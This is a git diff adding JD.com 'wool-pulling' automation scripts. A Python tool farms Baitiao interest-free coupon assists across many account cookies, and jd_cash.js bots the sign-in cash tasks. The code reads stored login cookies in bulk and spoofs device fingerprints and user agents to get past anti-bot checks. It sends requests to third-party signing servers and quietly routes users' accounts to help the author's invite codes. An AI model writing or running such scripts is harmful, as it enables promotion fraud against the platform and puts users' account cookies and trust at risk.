+def getsharetasklist(ck,eid,fp,token): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/getShareTaskList' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"channelId":"17","bizGroup":18}'%(eid,fp,token)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + for i in range(len(json.loads(response.text)['resultData']['data'])): + if json.loads(response.text)['resultData']['data'][i]['couponBigWord']=='12' and json.loads(response.text)['resultData']['data'][i]['couponSmallWord']=='期': + printf('12期免息券活动id:'+str(json.loads(response.text)['resultData']['data'][i]['activityId'])) + return json.loads(response.text)['resultData']['data'][i]['activityId'] + break + except: + printf('获取任务信息出错,程序即将退出!') + os._exit(0) + + + +def obtainsharetask(ck,eid,fp,token,activityid): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/obtainShareTask' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"activityId":%s}'%(eid,fp,token,activityid)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + printf('obtainActivityId:'+json.loads(response.text)['resultData']['data']['obtainActivityId']) + printf('inviteCode:'+json.loads(response.text)['resultData']['data']['inviteCode']) + return json.loads(response.text)['resultData']['data']['obtainActivityId']+'@'+json.loads(response.text)['resultData']['data']['inviteCode'] + except: + printf('开启任务出错,程序即将退出!') + os._exit(0) + + +def assist(ck,eid,fp,token,obtainActivityid,invitecode): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/helpFriend' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"10","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/sharePage/?obtainActivityId=%s&channelId=17&channelName=pdy&jrcontainer=h5&jrcloseweb=false&jrlogin=true&inviteCode=%s"},"obtainActivityId":"%s","inviteCode":"%s"}'%(eid,fp,token,obtainActivityid,invitecode,obtainActivityid,invitecode)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + if response.text.find('本次助力活动已完成')!=-1: + send('京东白条12期免息优惠券助力完成','去京东金融-白条-我的-我的优惠券看看吧') + printf('助力完成,程序即将退出!') + os._exit(0) + else: + if json.loads(response.text)['resultData']['result']['code']=='0000': + printf('助力成功') + elif json.loads(response.text)['resultData']['result']['code']=='M1003': + printf('该用户未开启白条,助力失败!') + elif json.loads(response.text)['resultData']['result']['code']=='U0002': + printf('该用户白条账户异常,助力失败!') + elif json.loads(response.text)['resultData']['result']['code']=='E0004': + printf('该活动仅限受邀用户参与,助力失败!') + else: + print(response.text) + except: + try: + print(response.text) + except: + printf('助力出错,可能是cookie过期了') + + + +if __name__ == '__main__': + remarkinfos={} + get_remarkinfo() + + + jdjrcookie=os.environ["JDJR_COOKIE"] + + UserAgent=randomuserAgent() + info=JDSignValidator('https://jrmfp.jr.jd.com/') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + token=gettoken() + activityid=getsharetasklist(jdjrcookie,eid,fp,token) + inviteinfo=obtainsharetask(jdjrcookie,eid,fp,token,activityid) + + + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + username=remarkinfos[ptpin] + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + UserAgent=randomuserAgent() + info=JDSignValidator('https://jrmfp.jr.jd.com/') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + token=gettoken() + assist(ck,eid,fp,token,inviteinfo.split('@')[0],inviteinfo.split('@')[1]) \ No newline at end of file diff --git a/jd_cash.js b/jd_cash.js new file mode 100644 index 0000000..1e90980 --- /dev/null +++ b/jd_cash.js @@ -0,0 +1,715 @@ +/* +签到领现金,每日2毛~5毛 +可互助,助力码每日不变,只变日期 +活动入口:京东APP搜索领现金进入 +更新时间:2021-06-07 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#签到领现金 +2 0-23/4 * * * jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "2 0-23/4 * * *" script-path=jd_cash.js,tag=签到领现金 + +===============Surge================= +签到领现金 = type=cron,cronexp="2 0-23/4 * * *",wake-system=1,timeout=3600,script-path=jd_cash.js + +============小火箭========= +签到领现金 = type=cron,script-path=jd_cash.js, cronexpr="2 0-23/4 * * *", timeout=3600, enable=true + */ +const $ = new Env('签到领现金'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let helpAuthor = true; +const randomCount = $.isNode() ? 5 : 5; +let cash_exchange = false;//是否消耗2元红包兑换200京豆,默认否 +const inviteCodes = [ + `eU9Yau3kZ_4g-DiByHEQ0A@ZnQya-i1Y_UmpGzUnnEX@fkFwauq3ZA@f0JyJuW7bvQ@IhM0bu-0b_kv8W6E@eU9YKpnxOLhYtQSygTJQ@-oaWtXEHOrT_bNMMVso@eU9YG7XaD4lXsR2krgpG@KxMzZOW7YvQ@eU9Ya7jnZP5w822BmntC0g@eU9YPa34F5lnpBWRjyp3@eU9YarnmYfRwpTzUziAV1Q`, + `eU9Yau3kZ_4g-DiByHEQ0A@ZnQya-i1Y_UmpGzUnnEX@fkFwauq3ZA@f0JyJuW7bvQ@IhM0bu-0b_kv8W6E@eU9YKpnxOLhYtQSygTJQ@-oaWtXEHOrT_bNMMVso@eU9YG7XaD4lXsR2krgpG@KxMzZOW7YvQ@eU9Ya7jnZP5w822BmntC0g@eU9YPa34F5lnpBWRjyp3@eU9YarnmYfRwpTzUziAV1Q`, +] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requireConfig() + $.authorCode = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateCash.json') + if (!$.authorCode) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateCash.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + $.authorCode = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateCash.json') || [] + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCash() + } + } + if (allMessage) { + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdCash() { + $.signMoney = 0; + + await appindex() + await index() + + await shareCodesFormat() + // await helpFriends() + // await getReward() + // await getReward('2'); + $.exchangeBeanNum = 0; + cash_exchange = $.isNode() ? (process.env.CASH_EXCHANGE ? process.env.CASH_EXCHANGE : `${cash_exchange}`) : ($.getdata('cash_exchange') ? $.getdata('cash_exchange') : `${cash_exchange}`); + // if (cash_exchange === 'true') { + // if(Number($.signMoney) >= 2){ + // console.log(`\n\n开始花费2元红包兑换200京豆,一周可换五次`) + // for (let item of ["-1", "0", "1", "2", "3"]) { + // $.canLoop = true; + // if ($.canLoop) { + // for (let i = 0; i < 5; i++) { + // await exchange2(item);//兑换200京豆(2元红包换200京豆,一周5次。) + // } + // if (!$.canLoop) { + // console.log(`已找到符合的兑换条件,跳出\n`); + // break + // } + // } + // } + // if ($.exchangeBeanNum) { + // message += `兑换京豆成功,获得${$.exchangeBeanNum * 100}京豆\n`; + // } + // }else{ + // console.log(`\n\n现金不够2元,不进行兑换200京豆,`) + // } + // } + await appindex(true) + // await showMsg() +} + +async function appindex(info=false) { + let functionId = "cash_homePage" + let body = {} + let sign = await getSign(functionId, body) + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data.result){ + if(info){ + if (message) { + message += `当前现金:${data.data.result.totalMoney}元`; + allMessage += `京东账号${$.index}${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + console.log(`\n\n当前现金:${data.data.result.totalMoney}元`); + return + } + $.signMoney = data.data.result.totalMoney; + // console.log(`您的助力码为${data.data.result.invitedCode}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.invitedCode}\n`); + let helpInfo = { + 'inviteCode': data.data.result.invitedCode, + 'shareDate': data.data.result.shareDate + } + $.shareDate = data.data.result.shareDate; + // $.log(`shareDate: ${$.shareDate}`) + // console.log(helpInfo) + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 30) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type===3 || task.type===5 || task.type===17 || task.type===21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function index() { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 31) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type===3 || task.type===5 || task.type===17 || task.type===21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function helpFriends() { + $.canHelp = true + for (let code of $.newShareCodes) { + console.log(`去帮助好友${code['inviteCode']}`) + await helpFriend(code) + if(!$.canHelp) break + await $.wait(1000) + } + // if (helpAuthor && $.authorCode) { + // for(let helpInfo of $.authorCode){ + // console.log(`去帮助好友${helpInfo['inviteCode']}`) + // await helpFriend(helpInfo) + // if(!$.canHelp) break + // await $.wait(1000) + // } + // } +} +function helpFriend(helpInfo) { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_assist", {...helpInfo,"source":1}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if( data.code === 0 && data.data.bizCode === 0){ + console.log(`助力成功,获得${data.data.result.cashStr}`) + // console.log(data.data.result.taskInfos) + } else if (data.data.bizCode===207){ + console.log(data.data.bizMsg) + $.canHelp = false + } else{ + console.log(data.data.bizMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function appdoTask(type,taskInfo) { + let functionId = 'cash_doTask' + let body = {"type":type,"taskInfo":taskInfo} + let sign = await getSign(functionId, body) + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code === 0) { + console.log(`任务完成成功`) + // console.log(data.data.result.taskInfos) + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask(type,taskInfo) { + return new Promise((resolve) => { + $.get(taskUrl("cash_doTask",{"type":type,"taskInfo":taskInfo}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if( data.code === 0){ + console.log(`任务完成成功`) + // console.log(data.data.result.taskInfos) + }else{ + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getReward(source = 1) { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_reward",{"source": Number(source),"rewardNode":""}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.bizCode === 0) { + console.log(`领奖成功,${data.data.result.shareRewardTip}【${data.data.result.shareRewardAmount}】`) + message += `领奖成功,${data.data.result.shareRewardTip}【${data.data.result.shareRewardAmount}元】\n`; + // console.log(data.data.result.taskInfos) + } else { + // console.log(`领奖失败,${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function exchange2(node) { + let body = ''; + const data = {node,"configVersion":"1.0"} + if (data['node'] === '-1') { + body = `body=${encodeURIComponent(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1619595890027&sign=92a8abba7b6846f274ac9803aa5a283d&sv=102`; + } else if (data['node'] === '0') { + body = `body=${encodeURIComponent(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1619597882090&sign=e00bd6c3af2a53820825b94f7a648551&sv=100`; + } else if (data['node'] === '1') { + body = `body=${encodeURIComponent(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1619595655007&sign=2e72bbd21e5f5775fe920eac129f89a2&sv=111`; + } else if (data['node'] === '2') { + body = `body=${encodeURIComponent(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1619597924095&sign=c04c70370ff68d71890de08a18cac981&sv=112`; + } else if (data['node'] === '3') { + body = `body=${encodeURIComponent(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1619597953001&sign=4c36b3d816d4f0646b5c34e7596502f8&sv=122`; + } + return new Promise((resolve) => { + const options = { + url: `${JD_API_HOST}?functionId=cash_exchangeBeans&t=${Date.now()}&${body}`, + body: `body=${escape(JSON.stringify(data))}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data.data.bizCode === 0) { + console.log(`花费${data.data.result.needMoney}元红包兑换成功!获得${data.data.result.beanName}\n`) + $.exchangeBeanNum += parseInt(data.data.result.needMoney); + $.canLoop = false; + } else { + console.log('花费2元红包兑换200京豆失败:' + data.data.bizMsg) + if (data.data.bizCode === 504) $.canLoop = true; + if (data.data.bizCode === 120) $.canLoop = false; + } + } else { + console.log(`兑换京豆失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"apple", + "clientVersion":"10.3.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function randomString(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://code.chiang.fun/api/v1/jd/jdcash/read/${randomCount}/`, 'timeout': 30000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + let authorCode = deepCopy($.authorCode) + $.newShareCodes = [...(authorCode.map((item, index) => authorCode[index] = item['inviteCode'])), ...$.newShareCodes]; + } + // const readShareCodeRes = await readShareCode(); + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + // } + $.newShareCodes.map((item, index) => $.newShareCodes[index] = { "inviteCode": item, "shareDate": $.shareDate }) + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD_CASH_SHARECODES) { + if (process.env.JD_CASH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD_CASH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD_CASH_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_cash_invite')) $.shareCodesArr = $.getdata('jd_cash_invite').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的京东签到领现金邀请码:${$.getdata('jd_cash_invite')}\n`); + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function deepCopy(obj) { + let objClone = Array.isArray(obj) ? [] : {}; + if (obj && typeof obj === "object") { + for (let key in obj) { + if (obj.hasOwnProperty(key)) { + //判断ojb子元素是否为对象,如果是,递归复制 + if (obj[key] && typeof obj[key] === "object") { + objClone[key] = deepCopy(obj[key]); + } else { + //如果不是,简单复制 + objClone[key] = obj[key]; + } + } + } + } + return objClone; +} + +function apptaskUrl(functionId = "", body = "") { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 30000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new 